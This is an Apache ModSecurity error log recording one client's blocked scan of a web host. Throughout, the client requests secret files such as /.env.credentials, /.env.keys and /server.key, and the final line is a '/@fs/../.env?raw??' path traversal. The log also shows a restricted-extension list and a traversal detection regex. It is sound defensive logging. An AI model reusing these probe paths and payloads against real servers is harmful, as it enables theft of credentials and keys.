[Sun Oct 25 14:43:04.297787 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5NuN6BoG8GuVESjJgBbwAAACU"]
[Sun Oct 25 14:43:04.298067 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5NuN6BoG8GuVESjJgBbwAAACU"]
[Sun Oct 25 14:43:04.298220 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5NuDh4F5IzB4_aosIHigAAABQ"]
[Sun Oct 25 14:43:04.298356 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5NuN6BoG8GuVESjJgBbwAAACU"]
[Sun Oct 25 14:43:04.298385 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5NuDh4F5IzB4_aosIHigAAABQ"]
[Sun Oct 25 14:43:04.298681 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5NuDh4F5IzB4_aosIHigAAABQ"]
[Sun Oct 25 14:43:04.299770 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5NuHNQSJj6g_R4pvfwnAAAABI"]
[Sun Oct 25 14:43:04.299916 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5NuHNQSJj6g_R4pvfwnAAAABI"]
[Sun Oct 25 14:43:04.300126 2026] [security2:error] [pid 2880769:tid 2880769] [client 34.118.177.189:60884] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at5NuHNQSJj6g_R4pvfwnAAAABI"]
[Sun Oct 25 14:43:04.301152 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5NuG-zzrnLViXtlwWgcAAAABg"]
[Sun Oct 25 14:43:04.301333 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5NuG-zzrnLViXtlwWgcAAAABg"]
[Sun Oct 25 14:43:04.301582 2026] [security2:error] [pid 2880773:tid 2880773] [client 34.118.177.189:60850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5NuG-zzrnLViXtlwWgcAAAABg"]
[Sun Oct 25 14:43:04.302956 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5NuAl_YuTmdn3pCPOXkAAAAAk"]
[Sun Oct 25 14:43:04.303129 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5NuAl_YuTmdn3pCPOXkAAAAAk"]
[Sun Oct 25 14:43:04.303338 2026] [security2:error] [pid 2880754:tid 2880754] [client 34.118.177.189:60864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5NuAl_YuTmdn3pCPOXkAAAAAk"]
[Sun Oct 25 14:43:04.306900 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5NuHgFQMGvpHXnWRNuuAAAAB8"]
[Sun Oct 25 14:43:04.307137 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5NuOapooGEQlE2Ll6VvwAAACY"]
[Sun Oct 25 14:43:04.307164 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5NuHgFQMGvpHXnWRNuuAAAAB8"]
[Sun Oct 25 14:43:04.307378 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5NuOapooGEQlE2Ll6VvwAAACY"]
[Sun Oct 25 14:43:04.307408 2026] [security2:error] [pid 2880789:tid 2880789] [client 34.118.177.189:60924] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.development.local"] [unique_id "at5NuHgFQMGvpHXnWRNuuAAAAB8"]
[Sun Oct 25 14:43:04.307598 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5NuOapooGEQlE2Ll6VvwAAACY"]
[Sun Oct 25 14:43:04.334945 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5NuDh4F5IzB4_aosIHiwAAABQ"]
[Sun Oct 25 14:43:04.335158 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5NuDh4F5IzB4_aosIHiwAAABQ"]
[Sun Oct 25 14:43:04.335411 2026] [security2:error] [pid 2880771:tid 2880771] [client 34.118.177.189:60928] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.secret"] [unique_id "at5NuDh4F5IzB4_aosIHiwAAABQ"]
[Sun Oct 25 14:43:04.344531 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5NuN6BoG8GuVESjJgBcAAAACU"]
[Sun Oct 25 14:43:04.344673 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5NuN6BoG8GuVESjJgBcAAAACU"]
[Sun Oct 25 14:43:04.344878 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.credentials"] [unique_id "at5NuN6BoG8GuVESjJgBcAAAACU"]
[Sun Oct 25 14:43:04.351363 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5NuBNl8ZOaBiavdxV-kwAAACc"]
[Sun Oct 25 14:43:04.351572 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5NuBNl8ZOaBiavdxV-kwAAACc"]
[Sun Oct 25 14:43:04.351809 2026] [security2:error] [pid 2880798:tid 2880798] [client 34.118.177.189:60914] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at5NuBNl8ZOaBiavdxV-kwAAACc"]
[Sun Oct 25 14:43:04.352801 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5NuDnLqNfi2M7PPfhIwgAAABo"]
[Sun Oct 25 14:43:04.352955 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5NuDnLqNfi2M7PPfhIwgAAABo"]
[Sun Oct 25 14:43:04.353162 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.118.177.189:60852] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5NuDnLqNfi2M7PPfhIwgAAABo"]
[Sun Oct 25 14:43:04.368106 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5NuOapooGEQlE2Ll6VwQAAACY"]
[Sun Oct 25 14:43:04.368552 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5NuOapooGEQlE2Ll6VwQAAACY"]
[Sun Oct 25 14:43:04.368850 2026] [security2:error] [pid 2880797:tid 2880797] [client 34.118.177.189:60904] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5NuOapooGEQlE2Ll6VwQAAACY"]
[Sun Oct 25 14:43:04.381537 2026] [security2:error] [pid 2880796:tid 2880796] [client 34.118.177.189:60880] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at5NuN6BoG8GuVESjJgBcQAAACU"]
